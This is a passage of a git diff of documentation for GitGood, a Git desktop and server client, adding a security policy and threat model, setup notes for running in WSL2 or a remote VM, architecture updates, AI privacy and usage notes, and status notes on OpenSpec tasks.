re-review and open a repository as tool calls; see [plugin/README.md](plugin/README.md#mcp-server). + +### Integrations + +- **Integrations**: open in VS Code, Cursor, Sublime, Notepad++, Visual Studio, JetBrains IDEs and more; open in Windows Terminal, PowerShell, Command Prompt or Git Bash; show in Explorer; view on GitHub; create issue. **External diff and merge tools**: a file's diff menu offers **Open in external diff tool** (`git difftool`) and a conflicted file **Open in merge tool** (`git mergetool`), using whatever `diff.tool`/`merge.tool` you have configured (graphical tools; desktop app only). +- **GitHub accounts**: sign in with several accounts, switch the active one, and give a repository its own account — see [Signing in to GitHub](#signing-in-to-github). + +### Settings & updates + +- **Portable settings** (Options → Advanced, or File → Export/Import Settings…): export preferences, the repository list and integration choices to one JSON file, with a section checklist and an import preview (adds/changes/unchanged per section, merge or replace) — timestamped backups are kept before a replace. Optional **sync through a secret GitHub gist** (created or reused via the signed-in GitHub CLI): the sync card always shows which side changed since the last sync and lets you upload or download, never merging silently; disconnect keeps or deletes the gist. The export never includes your API key, saved GitHub credentials, tool paths or window position. The export also leaves out custom agent commands and per-repository pins, groups, sign-off and AI opt-out choices, which stay on this computer. - **Rebindable keyboard shortcuts** (Help → Keyboard Shortcuts, `Ctrl+/`): record a new combination for any action, unbind or reset one or all, with a warning (and an offer to unbind the other action) when a combination is already taken. Overrides are part of exported/synced settings; `Ctrl` means `Cmd` on macOS. In the browser only the shortcuts the page handles itself (Changes, History, Commit) apply. +- **Look and feel**: light/dark/system theme, keyboard shortcuts mirroring GitHub Desktop, native menus, a resizable changed-files pane in History, high-contrast (forced-colors) styling, and an error screen with **Reload** and **Copy details** instead of a blank window. +- **Updates** (Help → Check for Updates…, or Options → Advanced): checks the GitHub releases feed (via `electron-updater`) on launch and every 6 hours for a newer stable or (on the beta channel) prerelease version — never a downgrade — then downloads it in the background and offers **Restart to update** from a banner, the Help menu and the About dialog; automatic checking, automatic download and the release channel are configurable. Installing is blocked while a git operation or AI task is running, and reopens the same repository afterwards. Disabled in development builds, portable Windows builds, unsigned macOS builds, `.deb` installs and a read-only AppImage, which show *Updates unavailable in this build* instead. + +### Server mode + +- **Server mode**: run GitGood headless and use it from a browser on your phone, tablet or another computer — over your tailnet, an SSH tunnel, or from WSL2 — or point the desktop app at it; see [Server mode](#server-mode-web-access-over-your-tailnet). The desktop can also keep a managed background server for you (Linux, macOS, Windows). See [docs/AI-FEATURES.md](docs/AI-FEATURES.md) for a deep dive into how each AI feature works, what it sends and what stays local. @@ -66,7 +95,7 @@ Once installed, GitGood checks for updates automatically, downloads them in the | [GitHub CLI](https://cli.github.com) 2.40+ | Sign-in, credential helper, pull requests, repository listing | `winget install --id GitHub.cli -e` | | [Claude Code CLI](https://docs.anthropic.com/claude-code) (optional) | AI features without an API key, using your Claude sign-in | `npm install -g @anthropic-ai/claude-code` | -GitGood looks for the tools on `PATH` and in the usual install locations; you can also point it at specific executables under **Options → Advanced**. The Linux install script above installs Git and the GitHub CLI for you. +GitGood warns with a dismissible banner when Git or the GitHub CLI is older than the minimum shown above. GitGood looks for the tools on `PATH` and in the usual install locations; you can also point it at specific executables under **Options → Advanced**. The Linux install script above installs Git and the GitHub CLI for you. ## Signing in to GitHub @@ -116,6 +145,22 @@ To have one set of settings and repositories everywhere, point the desktop app a If the desktop app and the server run different versions, the desktop warns once after connecting; update or rebuild whichever is behind. +### Run the server where your repositories live (WSL2, remote VM) + +If your repositories, and the toolchains that build them, live inside WSL2 or on a remote VM, run the server *there*: `git`, `gh`, your shell and the AI CLIs then run next to the code instead of across the Windows ↔ Linux filesystem boundary, and the UI is a browser tab or an installed web app. + +1. **Install the prerequisites inside the distro/VM:** Node (`^20.19 || >=22.12`), `git`, and `gh` (then `gh auth login`). Clone GitGood and run `npm ci && npm run build && npm run start:server` as above, or `npm run install:service` for a systemd user service (in WSL2 this needs `systemd=true` under `[boot]` in `/etc/wsl.conf`). The server still binds only to `127.0.0.1` inside the distro/VM. +2. **Reach it from where you sit:** + - **WSL2:** with WSL2's localhost forwarding (on by default), open `http://localhost:4600` in a browser on Windows. + - **Remote VM:** forward the port over SSH, `ssh -N -L 4600:127.0.0.1:4600 user@vm`, and open `http://localhost:4600`; or install Tailscale on the VM and run `tailscale serve --bg 4600` as above, so the Tailscale identity check applies too. +3. **Add repositories** with the web folder picker, which browses the VM's allowed locations (its home directory, registered repositories, watched folders and `GITGOOD_ALLOWED_ROOTS`), or register a watched folder such as `~/src`. Keep repositories on the Linux filesystem rather than under `/mnt/c`, which is much slower. + +Things to know: + +- **Use a browser (or the installed web app) as the client**, not the Windows desktop app. A desktop app pointed at `http://127.0.0.1:4600` assumes the server shares its machine and uses native file dialogs and *Show in Explorer*, which return Windows paths the server cannot use (they are refused or not found on the server). Open-in-editor/terminal are disabled in the browser for the same reason; open the repository in your editor's WSL/remote mode instead. +- **Loopback means trusted by the local machine.** Requests through WSL2 forwarding or an SSH tunnel arrive without Tailscale headers, so only the bearer token (which the page reads from the server) and the host/origin checks apply. Any local user of that distro/VM, and on WSL2 any process on the Windows side, can reach the port and fetch the token: use a distro or VM only you use, or put it behind `tailscale serve` with `GITGOOD_ALLOWED_LOGIN` set. +- The server runs as the distro/VM user and sees that user's `~/.config/gh` credentials and AI-CLI sign-in, not your Windows ones. See [SECURITY.md](SECURITY.md) for the threat model. + ## Documentation - [docs/AI-FEATURES.md](docs/AI-FEATURES.md) — how each AI feature works, in depth. @@ -123,6 +168,8 @@ If the desktop app and the server run different versions, the desktop warns once - [docs/DEVELOPMENT.md](docs/DEVELOPMENT.md) — running the app and its test suites locally. - [docs/RELEASING.md](docs/RELEASING.md) — building installers, cutting a release, and the plan for code signing. - [docs/CONTRIBUTING.md](docs/CONTRIBUTING.md) — how to propose and submit a change. +- [CHANGELOG.md](CHANGELOG.md) — what changed in each release. +- [SECURITY.md](SECURITY.md) — supported versions, how to report a vulnerability, and the server-mode threat model. ## Keyboard shortcuts diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 0000000..8c9afce --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,39 @@ +# Security policy + +## Supported versions + +Only the latest release receives security fixes (currently the 0.3 line). GitGood updates itself from the [Releases page](https://github.com/erwin-wee/gitgood/releases), so please reproduce on the newest version before reporting. + +## Reporting a vulnerability + +Please **do not open a public issue**. Report it privately with a GitHub security advisory: + +1. Go to (Repository → Security → Advisories → **Report a vulnerability**). +2. Describe the impact, the affected version and operating system, and the steps to reproduce. A proof of concept helps; please don't include real credentials. + +This is a small, mostly solo-maintained project: expect an acknowledgement within a few days and a fix or a mitigation plan as soon as it can be made. You'll be credited in the advisory unless you prefer not to be. + +## What is in scope + +- The desktop app (Electron main, preload and renderer), including how it runs `git`, `gh` and AI-CLI commands and how it reads repository content. +- Server mode (`src/server`) and the desktop's client mode. +- The MCP server (`src/mcp`), the `gitgood://` protocol handler and the `gitgood-review` plugin. +- The installer script and the release pipeline (`scripts/`, `.github/workflows/`). +- What GitGood sends to an AI provider and what it writes to disk or logs (see [docs/AI-FEATURES.md](docs/AI-FEATURES.md#privacy-what-is-sent-and-what-never-is)). + +Out of scope: vulnerabilities in `git`, `gh`, Electron or an AI provider themselves (report those upstream), an attacker who already runs code as your user, and the fact that releases are not yet code-signed (tracked in [docs/RELEASING.md](docs/RELEASING.md#signing)). + +## Threat model notes + +**Desktop.** GitGood drives the `git` and `gh` you already have; it stores no GitHub credentials of its own (`gh` does). API keys are stored encrypted with the OS credential store where Electron provides one; otherwise they are written to `secrets.json` with `0600` permissions in a `0700` directory. Repository files that feed the AI or configuration are never followed through symlinks, a repository's check command needs your explicit one-time trust, and logs have tokens and credentials scrubbed. + +**Server mode** executes `git`, `gh`, shell and AI-CLI commands **as the host user**, so anything that can reach it effectively has that user's access. It is protected by four independent layers: + +- **Loopback only.** It binds `127.0.0.1`, never `0.0.0.0`, and only answers to `127.0.0.1`, `localhost` and `*.ts.net` host names (against DNS rebinding). Public exposure (`tailscale funnel`) is never enabled by GitGood. +- **Tailscale identity.** Requests arriving through `tailscale serve` must carry the allowed `Tailscale-User-Login` (by default the node's owner, or `GITGOOD_ALLOWED_LOGIN`); other users and tagged devices are refused. +- **Bearer token.** A 256-bit token, stored `0600` in the data directory, is required on `/invoke` and the `/events` WebSocket and is never logged. +- **Path confinement.** Paths must lie inside the user's home directory, registered repositories, watched folders, the default clone directory or `GITGOOD_ALLOWED_ROOTS`; absolute and `../` repository-relative paths are rejected before any command runs. + +If you run the server on another machine or in a VM, you take on that machine's trust boundary: keep the token private, use a dedicated user, and don't widen `GITGOOD_ALLOWED_ROOTS` or `GITGOOD_ALLOWED_LOGIN` more than you need. See the README's [Server mode](README.md#server-mode-web-access-over-your-tailnet) section. + +**AI features** send repository content (diffs, file context, commit messages) to the provider you configure: Anthropic's API, your local Claude Code, or an OpenAI-compatible server. Secret-shaped files are excluded and known token shapes are masked, but this is a best-effort filter, not a guarantee; use the per-repository AI opt-out for sensitive repositories. diff --git a/docs/AI-FEATURES.md b/docs/AI-FEATURES.md index 85af546..6fa0371 100644 --- a/docs/AI-FEATURES.md +++ b/docs/AI-FEATURES.md @@ -1,6 +1,6 @@ # AI features -Configuration for all of these lives under **Options → AI**. Every feature below is hidden when the AI provider is set to *Disabled*. +Configuration for all of these lives under **Options → AI**. Every feature below is hidden when the AI provider is set to *Disabled*. They are also hidden, and refused in the main process, for any repository where AI has been switched off (see [Privacy](#privacy-what-is-sent-and-what-never-is)). ## AI conflict resolution @@ -115,6 +115,12 @@ The error dialog gains a collapsed **Explain with AI** row (hidden for errors wi - **Nothing runs before you click Run plan**, and destructive steps still open GitGood's normal confirmation dialogs; cancelling stops the plan and keeps whatever already completed. Every executed step is written to the application log with its arguments and exit code. - One clarifying question is allowed when a request is ambiguous; the session keeps the last 20 plans (with a **Copy commands** action) in memory only. +## Usage, caching and cancelling + +- **Usage** (Options → AI → *Usage*): this month's and last month's requests, input and output tokens, cache-read tokens and — only where the provider reports one (the Claude Code CLI does; the Anthropic API and OpenAI-compatible servers do not) — the cost, per feature. GitGood keeps no price table. The totals are counts only, never prompts or responses, and live in `ai-usage.json` in the app's data folder on this machine (not exported or synced). +- **Prompt caching** (Anthropic API): the system prompt is sent as a cacheable block, and the per-file calls of a pull request or pre-commit review put the context that is identical for every file (title, description, linked issues, commit subjects, failing checks, guidelines) in a cacheable leading block, so a many-file review reads it from cache after the first request; the usage table shows the cache reads. The Claude Code CLI and OpenAI-compatible servers get the same text without cache markers (the server may still cache it and report cached tokens). +- **Cancelling** a feature's spinner stops only that feature. In server mode it stops only the job started by your own client, never another browser tab's or window's. + ## Privacy: what is sent, and what never is - **Secret-shaped files are never uploaded.** `.env` / `.env.*` (but not `.env.example`, `.sample`, `.template`, `.dist`), `*.pem`, `*.key`, `*.p12`, `*.pfx`, `id_rsa*` / `id_ed25519*` (not `.pub`), `.netrc`, `credentials*.json`, and `.npmrc` / `.pypirc` that contain credentials are left out of every AI request — conflict resolution (and its manual-resolution examples), reviews, pre-commit review, commit messages, splitting, PR drafts, explain and the rebase assistant. Where there is a place to show it, the skip reason is visible: a skipped file in the review pre-flight, an excluded file in the split pre-flight, a toast after a commit message or PR draft, an error when you explain such a file. The list is deliberately short; a secret in an ordinary file is not detected by path. diff --git a/docs/ARCHITECTURE.md b/docs/ARCHITECTURE.md index aea9271..84f4bac 100644 --- a/docs/ARCHITECTURE.md +++ b/docs/ARCHITECTURE.md @@ -3,18 +3,45 @@ ``` src/ main/ Electron main process + index.ts app lifecycle, windows, menu, protocol and argv handling, client/server mode selection exec.ts child-process runner (no shell, cancellable, progress streaming) - tools.ts locate git / gh / claude, read gh auth status, login-shell PATH on macOS/Linux - git/ git wrappers: status (porcelain v2), log (history, file history via --follow), - branches, diffs, blame (porcelain parser, file-at-commit), commits, - transfers with progress, merge/rebase/cherry-pick/revert, interactive-rebase - automation (squash/reorder/reword/drop) via a GIT_SEQUENCE_EDITOR shim, stash, tags, - worktrees (list/add/remove/lock/prune, main-worktree resolution) - gh/ GitHub CLI wrapper: device-flow login, repos, pull requests, checks, avatars - ai/ Anthropic SDK + Claude CLI backends, prompts, conflict resolver, + tools.ts locate git / gh / claude, read gh auth status, login-shell PATH on macOS/Linux; + each probe settles on its own (git never waits for gh or claude) and flags tools + older than the minimum version + logger.ts application log (0600), every line passed through shared/secrets.ts scrubSecrets + store.ts JSON persistence (settings, repositories, secrets): 0600 files in a 0700 directory, + a corrupt file is renamed to .corrupt- instead of being reset + app-url.ts the app's entry URL and the IPC/navigation allowlist: only the main frame loaded from + that URL may call IPC (ipc.ts, client.ts) or be navigated to (window.ts) + argv.ts pure `gitgood ` parsing (skips flags, the dev app path, protocol URLs) + core/ transport-independent request layer shared by Electron and the server + (handlers.ts: every API method; host.ts: native capabilities behind an interface; + bus.ts: event emitter; client-context.ts: the calling client and per-client job + ownership; event-routing.ts: which window receives which event) + host/ Electron implementations of the host and store-platform interfaces + git/ git wrappers: status (porcelain v2, plus a light ahead/behind/dirty parse for repository + indicators), log (history, file history via --follow, --date-order for the graph), + branches (incl. stack detection), diffs, blame (porcelain parser, file-at-commit), commits, + transfers with progress, merge/rebase (--update-refs)/cherry-pick/revert, + interactive-rebase automation (squash/reorder/reword/drop) via a GIT_SEQUENCE_EDITOR shim, + stash, tags, worktrees, submodules, LFS, signing, repository health; + reflog.ts: HEAD reflog, the "undo last operation" planner and reset --keep; + bisect.ts: bisect state, start/mark/reset; + external-tools.ts: launches git difftool / mergetool without awaiting them + gh/ GitHub CLI wrapper: device-flow login, repos, pull requests (incl. auto-merge), checks, + avatars, notifications inbox, gist settings sync; + accounts.ts: parses every signed-in account and builds the per-repository GH_TOKEN / + credential-helper environment injected into gh and network git commands + ai/ backends.ts (Anthropic SDK + Claude CLI, scrubbing wrapper), openai-backend.ts + (OpenAI-compatible /chat/completions with json_schema -> json_object fallback), provider.ts + (picks the backend per feature, wraps it with usage recording and scrubbing), + usage.ts (monthly per-feature token totals in ai-usage.json), repo-guard.ts (refuses every + ai.* call for a repository with AI switched off), prompts, conflict resolver, pull request AND pre-commit review service (review.ts, worktree target) and its pure validation helpers (review-core.ts, shared by both), - diff explanation service (explain.ts) and its pure validation helpers (explain-core.ts) + diff explanation service (explain.ts) and its pure validation helpers (explain-core.ts), + and the other `.ts` + `-core.ts` pairs (splitter, rebasePlan, prDraft, + triage, release-notes, error-explain, nlPalette/nlPolicy), agent handoff export (review-export.ts: JSON + Markdown written to /gitgood/review after every run, read by terminal coding agents; see plugin/) update/ auto-update: UpdateProvider seam, electron-updater-backed provider, pure @@ -22,15 +49,33 @@ src/ repo/ repository list, Git-pruned directory watcher in a worker thread, watched folders: a pure bounded directory walker (scan.ts) plus the scan orchestration, exclusions and folder validation (watched-folders.ts); path - comparison with the platform's case rules lives in paths.ts + comparison with the platform's case rules and the symlink-safe repository file + read/write helpers live in paths.ts; config.ts reads .gitgood/config.json + settings/ portable settings export/import (sync-core.ts: allowlist, validation, merge/replace) integrations/ external editors and terminals per platform (shell-command.ts: running a command in a new terminal window for "Fix with agent") protocol.ts gitgood:// and x-github-client:// URL parsing (openRepo, review/rerun deep link) - ipc.ts typed request handlers for every API method - preload/ contextBridge exposing a single typed invoke/on bridge - renderer/ React UI (no UI framework dependencies) - shared/ types, IPC contract, pure diff logic (unified diff parser, partial-patch - builder, intraline word diff, conflict marker parser) + ipc.ts registers every API method on Electron IPC; each invoke runs in its window's client context + window.ts BrowserWindow creation (one per window, only the first remembers its bounds) + menu.ts native menu, accelerators taken from the user's shortcut overrides + client.ts client mode: the desktop window runs a GitGood server's UI and answers native capabilities + local-server.ts the desktop-managed background server (systemd unit / LaunchAgent / Windows login item) + server/ headless server: HTTP + WebSocket transport over the same core/ handlers + (security.ts: token, Tailscale identity, host/origin checks, path confinement; limits.ts: + which methods mutate and need the repository lock; web-bridge.ts: the script that gives the + browser the `window.gitgood` API, with reconnect backoff and version-skew detection; + web-host.ts: browser-side host, native-only capabilities throw "unsupported") + mcp/ stdio MCP server for coding agents (latest review, request re-review, open repository); + dependency-free, built to out/mcp/index.mjs and launched by the gitgood-review plugin + preload/ contextBridge exposing a single typed invoke/on bridge (plus webUtils.getPathForFile) + renderer/ React UI (no UI framework dependencies); state/ holds the store and actions, heavy + dialogs and syntax-highlighting grammars load lazily + shared/ types, IPC contract, pure logic used by both processes: + diff/ (unified diff parser, partial-patch builder, intraline word diff, conflict marker parser), + graph.ts (commit-graph lane layout, incremental per page), + shortcuts.ts (shortcut table, overrides merge, conflict detection, accelerator parsing), + secrets.ts (scrubSecrets token masking, secret-shaped file detection), + ai-model.ts (modelFor: per-feature model override), agent-presets.ts, util.ts ``` Renderer and main process communicate over one typed channel (`src/shared/ipc.ts`). All git commands run with `GIT_TERMINAL_PROMPT=0`, so nothing ever blocks on a hidden prompt; errors are classified (auth, network, non-fast-forward, conflicts, protected branch, …) to drive the right dialog. @@ -41,4 +86,12 @@ Native events trigger bounded 120 ms reconciliation. A four-second reconciliatio History, changes, and text diffs window their rendered rows. `TextDiff` computes word-level changes only when either row of a paired deletion/addition renders, caches both sides, and invalidates them when the hunks or word-highlighting setting change. Syntax highlighting remains lazy per 400-line block. +## Clients, windows and servers + +Every call into the core runs inside a *client context* (`core/client-context.ts`): a web tab of the server, and each desktop window (`window-`, assigned in `ipc.ts`), is its own client. Per-client state — the repository watcher, an in-flight history load, AI jobs (`ai.cancel(feature)` aborts only the caller's own) — is keyed by it. Events are routed the same way (`core/event-routing.ts`): `repo.changed` reaches only the windows that have that repository open, progress and AI streams only the window that started them, and everything else (repository list, settings, tools, inbox, updates) reaches all windows. A second window opens through `app.newWindow`, passing the repository id in the URL fragment; menu actions, `gitgood://` links and `gitgood ` go to the focused window. + +A handler whose first argument is an absolute path also runs inside a *repository scope*, so a `gh` or network `git` call made deep inside a service uses that repository's chosen GitHub account without every caller passing it along. + +AI requests pass through three chokepoints so new features inherit them: `provider.ts` wraps every backend with usage recording and secret scrubbing (except conflict resolution, whose text is written back to the file), `ai/repo-guard.ts` rejects any `ai.*` method for a repository with AI disabled, and repository files that reach a prompt are read with `repo/paths.ts` so a symlink can never smuggle in outside content. + See [DEVELOPMENT.md](DEVELOPMENT.md) for how to build and test this, and [RELEASING.md](RELEASING.md) for how packaged builds and releases work. diff --git a/docs/CONTRIBUTING.md b/docs/CONTRIBUTING.md index 94267a8..e980f07 100644 --- a/docs/CONTRIBUTING.md +++ b/docs/CONTRIBUTING.md @@ -6,7 +6,7 @@ Thanks for considering a contribution to GitGood. This is a small, mostly solo-m - For anything more than a small fix, open an issue or a discussion first describing the problem and your proposed approach — it saves rework on both sides. - This repo tracks its roadmap with [OpenSpec](https://github.com/Fission-AI/OpenSpec) under `openspec/`: `openspec/specs/` holds the current baseline behaviour per capability, and `openspec/changes/` holds proposed and in-flight changes (proposal, spec deltas, design notes, a task checklist). Browsing an existing change there is often the fastest way to understand *why* something works the way it does, since the spec deltas capture intent that isn't always obvious from the code. -- Not every change needs a formal OpenSpec proposal — a bug fix or small, self-contained improvement is fine as a plain pull request. A new capability or a behaviour change worth documenting is a good candidate for one. +- When a change is implemented, archive it (`openspec archive `, or the `opsx` archive workflow) so its spec deltas are merged into `openspec/specs/` and the change moves to `openspec/changes/archive/`; tasks you could not verify yet stay unchecked with a one-line note in `tasks.md`. Not every change needs a formal OpenSpec proposal — a bug fix or small, self-contained improvement is fine as a plain pull request. A new capability or a behaviour change worth documenting is a good candidate for one. ## Development setup @@ -26,6 +26,7 @@ Guidelines that keep this codebase consistent: - Prefer editing existing files and reusing existing patterns (e.g. the `*-core.ts` pure-logic-plus-thin-orchestrator split used throughout `src/main/`) over introducing new abstractions. - New third-party dependencies (a library, a GitHub Action, a new build tool) are a bigger deal than they look — they're a permanent addition to the supply chain and the build. Flag the addition and your reasoning in the PR description so it can be discussed before merging. - Match the existing comment style: comments explain *why* something non-obvious is done a certain way, not *what* the code does. +- User-visible changes get a line under **Unreleased** in [CHANGELOG.md](../CHANGELOG.md), and anything that makes a README or `docs/` statement false is updated in the same pull request. - Commit messages and PR titles in this repo generally follow a `type: summary` shape (`feat:`, `fix:`, `test:`, `docs:`, `refactor:`, …) — check recent history (`git log --oneline`) for the tone. ## Reporting bugs @@ -34,4 +35,4 @@ Include: what you did, what you expected, what happened instead, your OS and Git ## Security issues -Please don't open a public issue for a security vulnerability. Open a private security advisory on the repository (GitHub → Security → Advisories → Report a vulnerability) instead. +Please don't open a public issue for a security vulnerability. Report it privately as described in [SECURITY.md](../SECURITY.md) (GitHub → Security → Advisories → Report a vulnerability). diff --git a/docs/DEVELOPMENT.md b/docs/DEVELOPMENT.md index bdc178b..abb8575 100644 --- a/docs/DEVELOPMENT.md +++ b/docs/DEVELOPMENT.md @@ -11,6 +11,9 @@ npm test # vitest: pure unit tests plus fixture tests against real t npm run test:unit # just the pure unit tests (diff parser, patch builder, git output parsers, ...) npm run test:fixture # git/gh wrapper tests against real temporary repos and a stub gh/claude on PATH npm run test:smoke # builds the app and drives it offscreen (no visible window) through real user flows; GITGOOD_SMOKE_SHOW=1 to watch +npm run build # app (out/main, out/renderer) + headless server (out/server) + MCP server (out/mcp) +npm run start:server # run the headless server from out/server (see the README's Server mode) +npm run start:mcp # run the stdio MCP server from out/mcp (normally started by an agent via plugin/.mcp.json) npm run typecheck # main + renderer TypeScript npm run lint # React hooks rules (eslint, renderer only) + typecheck ``` diff --git a/openspec/changes/add-ai-pr-review/tasks.md b/openspec/changes/add-ai-pr-review/tasks.md index cd81499..c8645ab 100644 --- a/openspec/changes/add-ai-pr-review/tasks.md +++ b/openspec/changes/add-ai-pr-review/tasks.md @@ -31,6 +31,10 @@ - [x] 4.2 `npm run typecheck` clean and `npx electron-vite build` succeeds - [x] 4.3 Smoke run in branch mode with a stubbed run: pre-flight card, gutter markers, inline card, findings panel and split view screenshots captured - [ ] 4.4 Live review of a real branch with the Claude Code CLI provider; verify findings anchor to real lines and the dropped count is reported + - 2026-10-01: still open — needs a live `claude` CLI session against a real branch; the findings-validation and dropped-count logic is unit-tested (`test/review.test.ts`) but no live run has been recorded. - [ ] 4.5 Pull request mode against a real GitHub repository including a fork PR; verify `gh pr diff` fallback and contents fetch for context + - 2026-10-01: still open — needs a real GitHub repository and a fork PR; only `gh pr diff` splitting is unit-tested (`test/main-parsers.test.ts`), not the fallback or context fetch against GitHub. - [ ] 4.6 Post a review on a test pull request; verify one review with inline comments is created, own-PR restriction applies, and the 422 retry path is exercised with a deliberately bad line + - 2026-10-01: still open — posting a real review (and the 422 retry) needs a throwaway pull request on GitHub; only the verdict/inline-comment building logic is unit-tested (`test/review.test.ts`). - [ ] 4.7 Update the README Features and AI sections (done) and confirm they still match after live testing + - 2026-10-01: README and docs/AI-FEATURES.md are in place; the "still match after live testing" half waits on 4.4–4.6. diff --git a/openspec/changes/add-ai-precommit-review/tasks.md b/openspec/changes/add-ai-precommit-review/tasks.md index 2af1d76..63fc77f 100644 --- a/openspec/changes/add-ai-precommit-review/tasks.md +++ b/openspec/changes/add-ai-precommit-review/tasks.md @@ -19,6 +19,7 @@ - [x] 3.2 Wire gutter markers and finding cards in `TextDiff.tsx` for the worktree run, with Dismiss, Copy, Open in editor and Apply to file (hidden for partial files); verify by driving `window.__gitgood.actions.reviewChanges()` with a stubbed run and dumping the store - [x] 3.3 Highlight the Commit button when blockers exist and show the intent-mismatch note next to the summary; verify the button still commits in the smoke script - [ ] 3.4 Implement staleness on file change and Re-review of stale files only; verify by editing a fixture file during the smoke run and asserting only that file is re-sent + - 2026-10-01: implemented (`ReviewService.worktreeStale`, `rereviewStalePrecommitFindings` → `startWorktree` with `rereviewOf`, stale chips in `ChangesTab.tsx`/`DiffPane.tsx`) and staleness detection is unit-tested in `test/precommit-review-service.test.ts`; left open because no test or smoke step yet asserts that a re-review sends only the edited file. - [x] 3.5 Add the Review before every commit setting to `SettingsDialog.tsx` and the Commit anyway / Go back dialog; verify Go back leaves status unchanged ## 4. Verification diff --git a/openspec/changes/add-main-process-tests/tasks.md b/openspec/changes/add-main-process-tests/tasks.md index 87e1097..81857d9 100644 --- a/openspec/changes/add-main-process-tests/tasks.md +++ b/openspec/changes/add-main-process-tests/tasks.md @@ -23,6 +23,7 @@ - [x] 4.1 Add `scripts/smoke.mjs` and scenarios for first-launch Welcome, open fixture repo, stage and commit, switch branch, History selection, Conflicts dialog on a conflicted fixture, AI resolve with the stub; verify `npm run test:smoke` passes locally with screenshots and dumps under `test/smoke/out/` - [ ] 4.2 Add `.github/workflows/test.yml` with a Linux and Windows matrix running unit, fixture and smoke (`xvfb-run -a` on Linux), uploading screenshots and logs on failure; verify a green run on both + - 2026-10-01: `.github/workflows/test.yml` runs the Linux + Windows matrix, but fixture and smoke are still Linux-only (Windows fixture failures tracked in #3); open until a green Windows run of all three suites. - [x] 4.3 Add an isolation test that points `HOME` at a temp dir and asserts nothing outside temp directories was written; verify it passes ## 5. Verification diff --git a/openspec/changes/add-settings-sync/tasks.md b/openspec/changes/add-settings-sync/tasks.md index 0a9ba43..dd2e3ce 100644 --- a/openspec/changes/add-settings-sync/tasks.md +++ b/openspec/changes/add-settings-sync/tasks.md @@ -10,6 +10,7 @@ - [x] 2.2 Implement the import validator (schema version, types, unknown keys → warnings) and preview counts; verify unit tests for valid, newer-schema and malformed files - [x] 2.3 Implement merge and replace semantics with confirmation flag, backups (retain 5) and missing-repository handling plus other-platform path skipping; verify unit tests on `AppSettings` and a temp user-data directory - [ ] 2.4 Add the save dialog method in the main process; verify it returns a path in a smoke run + - 2026-10-01: `app.chooseSavePath` exists (`ElectronHost.chooseSavePath` → `dialog.showSaveDialog`, used by the Export dialog) but a native save dialog cannot be driven in the offscreen smoke run, so the stated verification is still outstanding. ## 3. Gist sync diff --git a/openspec/changes/add-agent-review-handoff/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-agent-review-handoff/.openspec.yaml similarity index 100% rename from openspec/changes/add-agent-review-handoff/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-agent-review-handoff/.openspec.yaml diff --git a/openspec/changes/add-agent-review-handoff/design.md b/openspec/changes/archive/2026-10-01-add-agent-review-handoff/design.md similarity index 100% rename from openspec/changes/add-agent-review-handoff/design.md rename to openspec/changes/archive/2026-10-01-add-agent-review-handoff/design.md diff --git a/openspec/changes/add-agent-review-handoff/proposal.md b/openspec/changes/archive/2026-10-01-add-agent-review-handoff/proposal.md similarity index 100% rename from openspec/changes/add-agent-review-handoff/proposal.md rename to openspec/changes/archive/2026-10-01-add-agent-review-handoff/proposal.md diff --git a/openspec/changes/add-agent-review-handoff/specs/ai-review-agent-handoff/spec.md b/openspec/changes/archive/2026-10-01-add-agent-review-handoff/specs/ai-review-agent-handoff/spec.md similarity index 100% rename from openspec/changes/add-agent-review-handoff/specs/ai-review-agent-handoff/spec.md rename to openspec/changes/archive/2026-10-01-add-agent-review-handoff/specs/ai-review-agent-handoff/spec.md diff --git a/openspec/changes/add-agent-review-handoff/tasks.md b/openspec/changes/archive/2026-10-01-add-agent-review-handoff/tasks.md similarity index 100% rename from openspec/changes/add-agent-review-handoff/tasks.md rename to openspec/changes/archive/2026-10-01-add-agent-review-handoff/tasks.md diff --git a/openspec/changes/add-ai-command-palette/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-ai-command-palette/.openspec.yaml similarity index 100% rename from openspec/changes/add-ai-command-palette/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-ai-command-palette/.openspec.yaml diff --git a/openspec/changes/add-ai-command-palette/design.md b/openspec/changes/archive/2026-10-01-add-ai-command-palette/design.md similarity index 100% rename from openspec/changes/add-ai-command-palette/design.md rename to openspec/changes/archive/2026-10-01-add-ai-command-palette/design.md diff --git a/openspec/changes/add-ai-command-palette/proposal.md b/openspec/changes/archive/2026-10-01-add-ai-command-palette/proposal.md similarity index 100% rename from openspec/changes/add-ai-command-palette/proposal.md rename to openspec/changes/archive/2026-10-01-add-ai-command-palette/proposal.md diff --git a/openspec/changes/add-ai-command-palette/specs/ai-command-palette/spec.md b/openspec/changes/archive/2026-10-01-add-ai-command-palette/specs/ai-command-palette/spec.md similarity index 100% rename from openspec/changes/add-ai-command-palette/specs/ai-command-palette/spec.md rename to openspec/changes/archive/2026-10-01-add-ai-command-palette/specs/ai-command-palette/spec.md diff --git a/openspec/changes/add-ai-command-palette/tasks.md b/openspec/changes/archive/2026-10-01-add-ai-command-palette/tasks.md similarity index 100% rename from openspec/changes/add-ai-command-palette/tasks.md rename to openspec/changes/archive/2026-10-01-add-ai-command-palette/tasks.md diff --git a/openspec/changes/add-ai-commit-splitting/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-ai-commit-splitting/.openspec.yaml similarity index 100% rename from openspec/changes/add-ai-commit-splitting/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-ai-commit-splitting/.openspec.yaml diff --git a/openspec/changes/add-ai-commit-splitting/design.md b/openspec/changes/archive/2026-10-01-add-ai-commit-splitting/design.md similarity index 100% rename from openspec/changes/add-ai-commit-splitting/design.md rename to openspec/changes/archive/2026-10-01-add-ai-commit-splitting/design.md diff --git a/openspec/changes/add-ai-commit-splitting/proposal.md b/openspec/changes/archive/2026-10-01-add-ai-commit-splitting/proposal.md similarity index 100% rename from openspec/changes/add-ai-commit-splitting/proposal.md rename to openspec/changes/archive/2026-10-01-add-ai-commit-splitting/proposal.md diff --git a/openspec/changes/add-ai-commit-splitting/specs/ai-commit-splitting/spec.md b/openspec/changes/archive/2026-10-01-add-ai-commit-splitting/specs/ai-commit-splitting/spec.md similarity index 100% rename from openspec/changes/add-ai-commit-splitting/specs/ai-commit-splitting/spec.md rename to openspec/changes/archive/2026-10-01-add-ai-commit-splitting/specs/ai-commit-splitting/spec.md diff --git 